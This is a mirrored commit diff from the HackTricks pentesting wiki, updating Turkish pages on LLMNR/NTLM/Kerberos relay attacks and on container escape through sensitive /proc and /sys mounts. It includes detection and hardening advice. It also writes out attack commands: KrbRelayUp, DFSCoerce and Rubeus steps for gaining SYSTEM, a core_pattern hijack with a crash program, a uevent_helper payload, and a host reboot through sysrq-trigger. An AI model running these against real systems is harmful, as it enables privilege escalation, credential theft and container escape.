mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
6d8c855aea
commit
4fa140e7bf
@ -316,6 +316,7 @@
|
||||
- [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
|
||||
- [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
|
||||
- [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
|
||||
- [Flutter](mobile-pentesting/android-app-pentesting/flutter.md)
|
||||
- [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
|
||||
- [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
|
||||
- [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
|
||||
@ -342,6 +343,7 @@
|
||||
- [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
|
||||
- [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
|
||||
- [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
|
||||
- [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md)
|
||||
- [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
|
||||
- [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
|
||||
- [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)
|
||||
|
@ -8,14 +8,14 @@
|
||||
|
||||
- **LLMNR, NBT-NS ve mDNS**:
|
||||
- Microsoft ve diğer işletim sistemleri, DNS başarısız olduğunda yerel ad çözümlemesi için LLMNR ve NBT-NS kullanır. Benzer şekilde, Apple ve Linux sistemleri mDNS kullanır.
|
||||
- Bu protokoller, UDP üzerinden kimlik doğrulaması yapılmamış, yayın doğası nedeniyle dinleme ve taklit edilme riski taşır.
|
||||
- Bu protokoller, UDP üzerinden kimlik doğrulaması yapılmamış, yayın doğası nedeniyle dinleme ve taklit edilme riskine sahiptir.
|
||||
- [Responder](https://github.com/lgandx/Responder), bu protokolleri sorgulayan ana bilgisayarlara sahte yanıtlar göndererek hizmetleri taklit etmek için kullanılabilir.
|
||||
- Responder kullanarak hizmet taklitine dair daha fazla bilgi [burada](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) bulunabilir.
|
||||
- Responder kullanarak hizmet taklidi hakkında daha fazla bilgi [burada](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) bulunabilir.
|
||||
|
||||
### Web Proxy Otomatik Keşif Protokolü (WPAD)
|
||||
|
||||
- WPAD, tarayıcıların proxy ayarlarını otomatik olarak keşfetmesine olanak tanır.
|
||||
- Keşif, DHCP, DNS veya DNS başarısız olursa LLMNR ve NBT-NS'ye geri dönerek gerçekleştirilir.
|
||||
- Keşif, DHCP, DNS veya DNS başarısız olursa LLMNR ve NBT-NS'ye geri dönerek sağlanır.
|
||||
- Responder, WPAD saldırılarını otomatikleştirerek istemcileri kötü niyetli WPAD sunucularına yönlendirebilir.
|
||||
|
||||
### Protokol Zehirleme için Responder
|
||||
@ -31,7 +31,7 @@
|
||||
- Varsayılan ayarlarla Responder'ı çalıştırmak için: `responder -I <Interface>`
|
||||
- Daha agresif sorgulama için (potansiyel yan etkilerle birlikte): `responder -I <Interface> -P -r -v`
|
||||
- NTLMv1 zorlukları/yanıtlarını daha kolay kırmak için yakalamak için teknikler: `responder -I <Interface> --lm --disable-ess`
|
||||
- WPAD taklidi şu şekilde etkinleştirilebilir: `responder -I <Interface> --wpad`
|
||||
- WPAD taklidi etkinleştirilebilir: `responder -I <Interface> --wpad`
|
||||
- NetBIOS istekleri saldırganın IP'sine çözülebilir ve bir kimlik doğrulama proxy'si kurulabilir: `responder.py -I <interface> -Pv`
|
||||
|
||||
### Responder ile DHCP Zehirleme
|
||||
@ -46,11 +46,11 @@
|
||||
- Responder, yukarıda belirtilen protokolleri kullanarak hizmetleri taklit edecek ve bir kullanıcı taklit edilen hizmetlere kimlik doğrulama yapmaya çalıştığında kimlik bilgilerini (genellikle NTLMv2 Challenge/Response) yakalayacaktır.
|
||||
- Daha kolay kimlik bilgisi kırma için NetNTLMv1'e düşürme veya ESS'yi devre dışı bırakma girişimleri yapılabilir.
|
||||
|
||||
Bu tekniklerin yasal ve etik bir şekilde uygulanması, uygun yetkilendirme sağlanması ve kesinti veya yetkisiz erişimden kaçınılması açısından kritik öneme sahiptir.
|
||||
Bu tekniklerin yasal ve etik bir şekilde, uygun yetkilendirme ile uygulanması ve kesinti veya yetkisiz erişimden kaçınılması önemlidir.
|
||||
|
||||
## Inveigh
|
||||
|
||||
Inveigh, Windows sistemleri için tasarlanmış bir penetrasyon test cihazı ve kırmızı takım aracı. Responder ile benzer işlevsellikler sunarak taklit etme ve adam ortada saldırıları gerçekleştirmektedir. Araç, bir PowerShell betiğinden C# ikili dosyasına evrilmiştir ve [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) ve [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) ana sürümleridir. Ayrıntılı parametreler ve talimatlar [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) sayfasında bulunabilir.
|
||||
Inveigh, Windows sistemleri için tasarlanmış bir penetrasyon test cihazı ve kırmızı takım aracı. Responder ile benzer işlevler sunarak taklit etme ve adam ortada saldırıları gerçekleştirmektedir. Araç, bir PowerShell betiğinden C# ikili dosyasına evrilmiştir ve [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) ve [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) ana sürümleridir. Ayrıntılı parametreler ve talimatlar [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) sayfasında bulunabilir.
|
||||
|
||||
Inveigh, PowerShell üzerinden çalıştırılabilir:
|
||||
```bash
|
||||
@ -62,9 +62,9 @@ Inveigh.exe
|
||||
```
|
||||
### NTLM Relay Attack
|
||||
|
||||
Bu saldırı, hedef bir makineye erişmek için SMB kimlik doğrulama oturumlarını kullanır ve başarılı olursa bir sistem kabuğu sağlar. Ana gereksinimler şunlardır:
|
||||
Bu saldırı, hedef bir makineye erişim sağlamak için SMB kimlik doğrulama oturumlarını kullanır ve başarılı olursa bir sistem kabuğu verir. Ana gereksinimler şunlardır:
|
||||
|
||||
- Kimlik doğrulayan kullanıcının, yönlendirilmiş ana bilgisayarda Yerel Yönetici erişimine sahip olması gerekir.
|
||||
- Kimlik doğrulayan kullanıcı, yönlendirilmiş ana makinede Yerel Yönetici erişimine sahip olmalıdır.
|
||||
- SMB imzalama devre dışı bırakılmalıdır.
|
||||
|
||||
#### 445 Port Yönlendirme ve Tünelleme
|
||||
@ -93,7 +93,7 @@ beacon> socks stop
|
||||
- **smbrelayx**: SMB oturumlarını iletmek ve komutları çalıştırmak veya arka kapılar dağıtmak için bir Python betiği.
|
||||
- **MultiRelay**: Belirli kullanıcıları veya tüm kullanıcıları iletmek, komutları çalıştırmak veya hash'leri dökmek için Responder paketinden bir araç.
|
||||
|
||||
Her bir araç, gerekirse bir SOCKS proxy üzerinden çalışacak şekilde yapılandırılabilir, dolaylı ağ erişimi ile bile saldırılara olanak tanır.
|
||||
Her araç, gerekirse bir SOCKS proxy üzerinden çalışacak şekilde yapılandırılabilir, dolaylı ağ erişimi ile bile saldırılara olanak tanır.
|
||||
|
||||
### MultiRelay İşlemi
|
||||
|
||||
@ -115,6 +115,113 @@ Windows'ta **bazı ayrıcalıklı hesapların rastgele makinelere kimlik doğrul
|
||||
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
## Kerberos Relay saldırısı
|
||||
|
||||
Bir **Kerberos relay saldırısı**, bir hizmetten **AP-REQ bileti** çalar ve bunu **aynı bilgisayar-hesap anahtarını** paylaşan ikinci bir hizmete karşı yeniden kullanır (çünkü her iki SPN de aynı `$` makine hesabında bulunur). SPN'lerin **hizmet sınıfları farklı olsa bile** (örneğin, `CIFS/` → `LDAP/`) bu çalışır çünkü bileti deşifre eden *anahtar*, makinenin NT hash'idir, SPN dizesi değil ve SPN dizesi imzanın bir parçası değildir.
|
||||
|
||||
NTLM relay'den farklı olarak, atlama *aynı ana bilgisayar* ile sınırlıdır ancak, LDAP'a yazmanıza izin veren bir protokolü hedeflerseniz, **Kaynak Tabanlı Kısıtlı Delegasyon (RBCD)** veya **AD CS kaydı** ile zincirleme yapabilir ve tek seferde **NT AUTHORITY\SYSTEM**'ı ele geçirebilirsiniz.
|
||||
|
||||
Bu saldırı hakkında detaylı bilgi için kontrol edin:
|
||||
|
||||
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
||||
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
||||
|
||||
- 1. **Kerberos temelleri**
|
||||
|
||||
| Token | Amaç | Relay ile ilgili |
|
||||
|-------|---------|-----------------|
|
||||
| **TGT / AS-REQ ↔ REP** | Kullanıcıyı KDC'ye kanıtlar | dokunulmamış |
|
||||
| **Hizmet bileti / TGS-REQ ↔ REP** | Bir **SPN** ile sınırlıdır; SPN sahibinin anahtarı ile şifrelenmiştir | hesapları paylaşan SPN'ler için değiştirilebilir |
|
||||
| **AP-REQ** | İstemci `TGS`'yi hizmete gönderir | **çaldığımız ve yeniden oynattığımız şey** |
|
||||
|
||||
* Biletler, **SPN'yi sahip olan hesabın şifreden türetilen anahtarı ile şifrelenmiştir**.
|
||||
* AP-REQ içindeki **Authenticator** 5 dakikalık bir zaman damgasına sahiptir; bu penceredeki yeniden oynatma, hizmet önbelleği bir kopya gördüğünde geçerlidir.
|
||||
* Windows, biletteki SPN dizesinin vurduğunuz hizmetle eşleşip eşleşmediğini nadiren kontrol eder, bu nedenle `CIFS/HOST` için bir bilet genellikle `LDAP/HOST` üzerinde düzgün bir şekilde deşifre edilir.
|
||||
|
||||
- 2. **Kerberos'u relay etmek için ne olmalı**
|
||||
|
||||
1. **Paylaşılan anahtar:** kaynak ve hedef SPN'ler aynı bilgisayar hesabına aittir (Windows sunucularında varsayılan).
|
||||
2. **Kanal koruması yok:** SMB/LDAP imzalama kapalı ve HTTP/LDAPS için EPA kapalı.
|
||||
3. **Kimlik doğrulamasını kesebilir veya zorlayabilirsiniz:** LLMNR/NBNS zehirleme, DNS sahtekarlığı, **PetitPotam / DFSCoerce RPC**, sahte AuthIP, sahte DCOM, vb.
|
||||
4. **Bilet kaynağı daha önce kullanılmamış olmalı:** gerçek paket gelmeden önce yarışı kazanırsınız veya tamamen engellersiniz; aksi takdirde sunucunun yeniden oynatma önbelleği Olay 4649'u tetikler.
|
||||
5. İletişimde bir **MitM gerçekleştirebilmeniz** gerekiyor, belki de alanın DNS'ini değiştirmek için DNSAmins grubunun bir parçası olmak veya kurbanın HOST dosyasını değiştirebilmek.
|
||||
|
||||
### Kerberos Relay Adımları
|
||||
|
||||
- 3.1 **Ana bilgisayarı keşfet**
|
||||
```powershell
|
||||
# find servers where HTTP, LDAP or CIFS share the same machine account
|
||||
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
||||
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
||||
Select Name,servicePrincipalName
|
||||
```
|
||||
- 3.2 **İletim dinleyicisini başlat**
|
||||
|
||||
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
||||
```powershell
|
||||
# one-click local SYSTEM via RBCD
|
||||
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
||||
```
|
||||
`KrbRelayUp`, **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass**'ı tek bir ikili dosyada toplar.
|
||||
|
||||
- 3.3 **Kerberos kimlik doğrulamasını zorla**
|
||||
```powershell
|
||||
# coerce DC to auth over SMB with DFSCoerce
|
||||
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
||||
```
|
||||
DFSCoerce, DC'nin bize bir Kerberos `CIFS/DC01` bileti göndermesini sağlar.
|
||||
|
||||
- 3.4 **AP-REQ'yi İlet**
|
||||
|
||||
KrbRelay, SMB'den GSS blob'unu çıkarır, bunu bir LDAP bağlama işlemi olarak yeniden paketler ve `ldap://DC01`'ye iletir—kimlik doğrulama başarılıdır çünkü **aynı anahtar** bunu çözer.
|
||||
|
||||
- 3.5 **LDAP'ı Kötüye Kullan ➜ RBCD ➜ SYSTEM**
|
||||
```powershell
|
||||
# (auto inside KrbRelayUp) manual for clarity
|
||||
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
||||
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
|
||||
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
|
||||
SCMUACBypass.exe
|
||||
```
|
||||
You now own **NT AUTHORITY\SYSTEM**.
|
||||
|
||||
|
||||
### **Bilmeniz Gereken Diğer Yollar**
|
||||
|
||||
| Vektör | Hile | Neden Önemli |
|
||||
|--------|-------|----------------|
|
||||
| **AuthIP / IPSec** | Sahte sunucu, herhangi bir SPN ile **GSS-ID yükü** gönderir; istemci doğrudan size bir AP-REQ oluşturur | Alt ağlar arasında bile çalışır; makine kimlik bilgileri varsayılan olarak |
|
||||
| **DCOM / MSRPC** | Kötü niyetli OXID çözücü, istemcinin rastgele bir SPN ve porta kimlik doğrulaması yapmasını zorlar | Tamamen *yerel* ayrıcalık yükseltme; güvenlik duvarını atlar |
|
||||
| **AD CS Web Enroll** | Makine biletini `HTTP/CA`'ya iletin ve bir sertifika alın, ardından **PKINIT** ile TGT'ler oluşturun | LDAP imzalama savunmalarını atlar |
|
||||
| **Gölge Kimlik Bilgileri** | `msDS-KeyCredentialLink` yazın, ardından sahte anahtar çifti ile PKINIT yapın | Bir bilgisayar hesabı eklemeye gerek yok |
|
||||
|
||||
### **Sorun Giderme**
|
||||
|
||||
| Hata | Anlamı | Çözüm |
|
||||
|-------|---------|-----|
|
||||
| `KRB_AP_ERR_MODIFIED` | Bilet anahtarı ≠ hedef anahtar | Yanlış ana bilgisayar/SPN |
|
||||
| `KRB_AP_ERR_SKEW` | Saat > 5 dakika kayma | Zamanı senkronize edin veya `w32tm` kullanın |
|
||||
| LDAP bağlanma hatası | İmzalama zorunlu | AD CS yolunu kullanın veya imzalamayı devre dışı bırakın |
|
||||
| Olay 4649 spam | Hizmet, tekrar eden Kimlik Doğrulayıcı gördü | orijinal paketi engelleyin veya yarışın |
|
||||
|
||||
|
||||
### **Tespit**
|
||||
|
||||
* Aynı kaynaktan birkaç saniye içinde **Event 4769**'da artış.
|
||||
* Hizmette **Event 4649**, tekrar tespit edildiğini gösterir.
|
||||
* **127.0.0.1**'den Kerberos oturumu (yerel SCM'ye iletim) oldukça şüphelidir—KrbRelayUp belgelerinde Sigma kuralı ile haritalayın.
|
||||
* `msDS-AllowedToActOnBehalfOfOtherIdentity` veya `msDS-KeyCredentialLink` niteliklerinde yapılan değişiklikleri izleyin.
|
||||
|
||||
## **Güçlendirme**
|
||||
|
||||
1. Her sunucuda **LDAP & SMB imzalamayı + EPA'yı** zorunlu kılın.
|
||||
2. **SPN'leri ayırın** böylece HTTP, CIFS/LDAP ile aynı hesapta olmaz.
|
||||
3. Zorlamalı vektörleri yamalayın (PetitPotam KB5005413, DFS, AuthIP).
|
||||
4. **`ms-DS-MachineAccountQuota = 0`** ayarlayarak sahte bilgisayar katılımlarını durdurun.
|
||||
5. **Event 4649** ve beklenmedik döngü geri Kerberos oturumları için uyarı verin.
|
||||
|
||||
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
`/proc`, `/sys` ve `/var`'ın uygun namespace izolasyonu olmadan açığa çıkması, saldırı yüzeyinin genişlemesi ve bilgi sızıntısı da dahil olmak üzere önemli güvenlik riskleri oluşturur. Bu dizinler, yanlış yapılandırıldığında veya yetkisiz bir kullanıcı tarafından erişildiğinde, konteyner kaçışına, ana makine değişikliğine veya daha fazla saldırıyı destekleyen bilgilerin sağlanmasına yol açabilecek hassas dosyalar içerir. Örneğin, `-v /proc:/host/proc` yanlış bir şekilde monte edilirse, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve `/host/proc`'u korumasız bırakabilir.
|
||||
`/proc`, `/sys` ve `/var`'ın uygun namespace izolasyonu olmadan açılması, saldırı yüzeyinin genişlemesi ve bilgi sızdırma gibi önemli güvenlik riskleri oluşturur. Bu dizinler, yanlış yapılandırıldığında veya yetkisiz bir kullanıcı tarafından erişildiğinde, konteyner kaçışına, ana makine değişikliğine veya daha fazla saldırıyı destekleyen bilgilerin sağlanmasına yol açabilecek hassas dosyalar içerir. Örneğin, `-v /proc:/host/proc` yanlış bir şekilde monte edilirse, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve `/host/proc`'ı korumasız bırakabilir.
|
||||
|
||||
**Her potansiyel zafiyetin daha fazla detayını bulabilirsiniz** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
@ -10,25 +10,37 @@
|
||||
|
||||
### `/proc/sys`
|
||||
|
||||
Bu dizin, genellikle `sysctl(2)` aracılığıyla çekirdek değişkenlerini değiştirme izni verir ve birkaç endişe verici alt dizin içerir:
|
||||
Bu dizin, genellikle `sysctl(2)` aracılığıyla çekirdek değişkenlerini değiştirmek için erişime izin verir ve endişe verici birkaç alt dizin içerir:
|
||||
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) içinde tanımlanmıştır.
|
||||
- İlk 128 baytı argüman olarak kullanarak çekirdek dosyası oluşturulduğunda çalıştırılacak bir program tanımlamaya izin verir. Dosya bir boru `|` ile başlarsa, bu kod yürütmeye yol açabilir.
|
||||
- Bu dosyaya yazabiliyorsanız, bir boru `|` yazıp ardından bir program veya scriptin yolunu yazmak mümkündür; bu, bir çökme gerçekleştiğinde çalıştırılacaktır.
|
||||
- Bir saldırgan, `mount` komutunu çalıştırarak konteynerinin içindeki ana makinedeki yolu bulabilir ve bu yolu konteyner dosya sistemindeki bir ikili dosyaya yazabilir. Ardından, bir programı çökertip çekirdeğin ikili dosyayı konteynerin dışındaki bir yerde çalıştırmasını sağlayabilir.
|
||||
|
||||
- **Test ve Sömürü Örneği**:
|
||||
|
||||
```bash
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Yazma erişimini test et
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
|
||||
cd /proc/sys/kernel
|
||||
echo "|$overlay/shell.sh" > core_pattern # Özel işleyici ayarla
|
||||
sleep 5 && ./crash & # İşleyiciyi tetikle
|
||||
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
|
||||
sleep 5 && ./crash & # Trigger handler
|
||||
```
|
||||
Daha fazla bilgi için [bu gönderiyi](https://pwning.systems/posts/escaping-containers-for-fun/) kontrol edin.
|
||||
|
||||
Çöken örnek program:
|
||||
```c
|
||||
int main(void) {
|
||||
char buf[1];
|
||||
for (int i = 0; i < 100; i++) {
|
||||
buf[i] = 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
#### **`/proc/sys/kernel/modprobe`**
|
||||
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) içinde detaylandırılmıştır.
|
||||
- Çekirdek modül yükleyicisinin yolunu içerir, çekirdek modüllerini yüklemek için çağrılır.
|
||||
- Kernel modül yükleyicisinin yolunu içerir, kernel modüllerini yüklemek için çağrılır.
|
||||
- **Erişim Kontrolü Örneği**:
|
||||
|
||||
```bash
|
||||
@ -38,7 +50,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) içinde referans verilmiştir.
|
||||
- OOM durumu meydana geldiğinde çekirdeğin panik yapıp yapmayacağını kontrol eden bir global bayraktır.
|
||||
- OOM durumu meydana geldiğinde kernel'in panik yapıp yapmayacağını kontrol eden global bir bayraktır.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
@ -47,9 +59,9 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
- Büyü numarasına dayalı olarak yerel olmayan ikili formatlar için yorumlayıcıları kaydetmeye izin verir.
|
||||
- `/proc/sys/fs/binfmt_misc/register` yazılabilir olduğunda ayrıcalık yükselmesine veya root shell erişimine yol açabilir.
|
||||
- İlgili sömürü ve açıklama:
|
||||
- Büyü numarasına dayalı olarak yerel olmayan ikili formatlar için yorumlayıcıların kaydedilmesine izin verir.
|
||||
- `/proc/sys/fs/binfmt_misc/register` yazılabilir ise ayrıcalık yükselmesine veya root shell erişimine yol açabilir.
|
||||
- İlgili istismar ve açıklama:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Derinlemesine eğitim: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
@ -57,12 +69,12 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
|
||||
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
- `CONFIG_IKCONFIG_PROC` etkinse çekirdek yapılandırmasını açığa çıkarabilir.
|
||||
- Saldırganlar için çalışan çekirdekteki zayıflıkları tanımlamak için yararlıdır.
|
||||
- `CONFIG_IKCONFIG_PROC` etkinse kernel yapılandırmasını açığa çıkarabilir.
|
||||
- Saldırganlar için çalışan kernel'deki zayıflıkları tanımlamakta faydalıdır.
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
- Sysrq komutlarını çağırmaya izin verir, bu da ani sistem yeniden başlatmalarına veya diğer kritik eylemlere neden olabilir.
|
||||
- Sysrq komutlarını çağırmaya izin verir, bu da anında sistem yeniden başlatmalarına veya diğer kritik eylemlere neden olabilir.
|
||||
- **Ana Makineyi Yeniden Başlatma Örneği**:
|
||||
|
||||
```bash
|
||||
@ -71,66 +83,66 @@ echo b > /proc/sysrq-trigger # Ana makineyi yeniden başlatır
|
||||
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
- Çekirdek halka tamponu mesajlarını açığa çıkarır.
|
||||
- Çekirdek sömürülerine, adres sızıntılarına yardımcı olabilir ve hassas sistem bilgilerini sağlayabilir.
|
||||
- Kernel halka tampon mesajlarını açığa çıkarır.
|
||||
- Kernel istismarlarına, adres sızıntılarına yardımcı olabilir ve hassas sistem bilgileri sağlayabilir.
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
- Çekirdek tarafından dışa aktarılan sembolleri ve adreslerini listeler.
|
||||
- KASLR'yi aşmak için çekirdek sömürü geliştirmede önemlidir.
|
||||
- Adres bilgisi `kptr_restrict` 1 veya 2 olarak ayarlandığında kısıtlanır.
|
||||
- Kernel tarafından dışa aktarılan sembolleri ve adreslerini listeler.
|
||||
- Kernel istismar geliştirme için önemlidir, özellikle KASLR'yi aşmak için.
|
||||
- Adres bilgileri `kptr_restrict` `1` veya `2` olarak ayarlandığında kısıtlanır.
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) içinde detaylar.
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
- Çekirdek bellek cihazı `/dev/mem` ile arayüz sağlar.
|
||||
- Tarihsel olarak ayrıcalık yükseltme saldırılarına karşı savunmasızdır.
|
||||
- Kernel bellek cihazı `/dev/mem` ile arayüz sağlar.
|
||||
- Tarihsel olarak ayrıcalık yükselme saldırılarına karşı savunmasızdır.
|
||||
- Daha fazla bilgi için [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
- Sistemin fiziksel belleğini ELF çekirdek formatında temsil eder.
|
||||
- Sisteminin fiziksel belleğini ELF çekirdek formatında temsil eder.
|
||||
- Okuma, ana makine ve diğer konteynerlerin bellek içeriklerini sızdırabilir.
|
||||
- Büyük dosya boyutu okuma sorunlarına veya yazılım çökmesine yol açabilir.
|
||||
- Detaylı kullanım için [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) bakılabilir.
|
||||
- Büyük dosya boyutu okuma sorunlarına veya yazılım çökmesine neden olabilir.
|
||||
- Detaylı kullanım için [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) bağlantısına bakın.
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
- Çekirdek sanal belleğini temsil eden `/dev/kmem` için alternatif bir arayüzdür.
|
||||
- Okuma ve yazma izni verir, dolayısıyla çekirdek belleğini doğrudan değiştirmeye olanak tanır.
|
||||
- Kernel sanal belleğini temsil eden `/dev/kmem` için alternatif bir arayüz.
|
||||
- Okuma ve yazma işlemlerine izin verir, dolayısıyla kernel belleğinin doğrudan değiştirilmesine olanak tanır.
|
||||
|
||||
#### **`/proc/mem`**
|
||||
|
||||
- Fiziksel belleği temsil eden `/dev/mem` için alternatif bir arayüzdür.
|
||||
- Okuma ve yazma izni verir, tüm belleği değiştirmek için sanal adreslerin fiziksel adreslere çözülmesi gerekir.
|
||||
- Fiziksel belleği temsil eden `/dev/mem` için alternatif bir arayüz.
|
||||
- Okuma ve yazma işlemlerine izin verir, tüm belleğin değiştirilmesi sanal adreslerin fiziksel adreslere dönüştürülmesini gerektirir.
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
- PID namespace korumalarını atlayarak süreç zamanlama bilgilerini döndürür.
|
||||
- PID ad alanı korumalarını atlayarak süreç zamanlama bilgilerini döndürür.
|
||||
- Süreç adlarını, kimliklerini ve cgroup tanımlayıcılarını açığa çıkarır.
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
- Sürecin mount namespace'inde mount noktaları hakkında bilgi sağlar.
|
||||
- Konteyner `rootfs` veya görüntüsünün konumunu açığa çıkarır.
|
||||
- Sürecin mount ad alanındaki mount noktaları hakkında bilgi sağlar.
|
||||
- Konteynerin `rootfs` veya görüntüsünün konumunu açığa çıkarır.
|
||||
|
||||
### `/sys` Vulnerabilities
|
||||
### `/sys` Zayıflıkları
|
||||
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
- Çekirdek cihaz `uevents`'lerini işlemek için kullanılır.
|
||||
- Kernel cihaz `uevents`'lerini işlemek için kullanılır.
|
||||
- `/sys/kernel/uevent_helper`'a yazmak, `uevent` tetikleyicileri üzerine rastgele betikler çalıştırabilir.
|
||||
- **Sömürü Örneği**: %%%bash
|
||||
- **İstismar Örneği**: %%%bash
|
||||
|
||||
#### Bir yük oluşturur
|
||||
|
||||
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
||||
|
||||
#### Konteyner için OverlayFS montajından ana makine yolunu bulur
|
||||
#### Konteyner için OverlayFS mount'tan ana makine yolunu bulur
|
||||
|
||||
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
|
||||
|
||||
#### Uevent_helper'ı kötü niyetli yardımcıya ayarlar
|
||||
#### uevent_helper'ı kötü niyetli yardımcıya ayarlar
|
||||
|
||||
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
|
||||
|
||||
@ -148,7 +160,7 @@ cat /output %%%
|
||||
|
||||
#### **`/sys/kernel/vmcoreinfo`**
|
||||
|
||||
- Çekirdek adreslerini sızdırır, bu da KASLR'yi tehlikeye atabilir.
|
||||
- Kernel adreslerini sızdırır, bu da KASLR'yi tehlikeye atabilir.
|
||||
|
||||
#### **`/sys/kernel/security`**
|
||||
|
||||
@ -158,16 +170,18 @@ cat /output %%%
|
||||
#### **`/sys/firmware/efi/vars` ve `/sys/firmware/efi/efivars`**
|
||||
|
||||
- NVRAM'daki EFI değişkenleri ile etkileşim kurmak için arayüzler açığa çıkarır.
|
||||
- Yanlış yapılandırma veya sömürü, bozuk dizüstü bilgisayarlara veya önyüklenemez ana makinelerle sonuçlanabilir.
|
||||
- Yanlış yapılandırma veya istismar, bozuk dizüstü bilgisayarlara veya başlatılamayan ana makinelerle sonuçlanabilir.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
- `debugfs`, çekirdeğe "kural yok" hata ayıklama arayüzü sunar.
|
||||
- Kısıtlanmamış doğası nedeniyle güvenlik sorunları geçmişi vardır.
|
||||
- `debugfs`, kernel için "kuralsız" bir hata ayıklama arayüzü sunar.
|
||||
- Kısıtlamasız doğası nedeniyle güvenlik sorunları geçmişi vardır.
|
||||
|
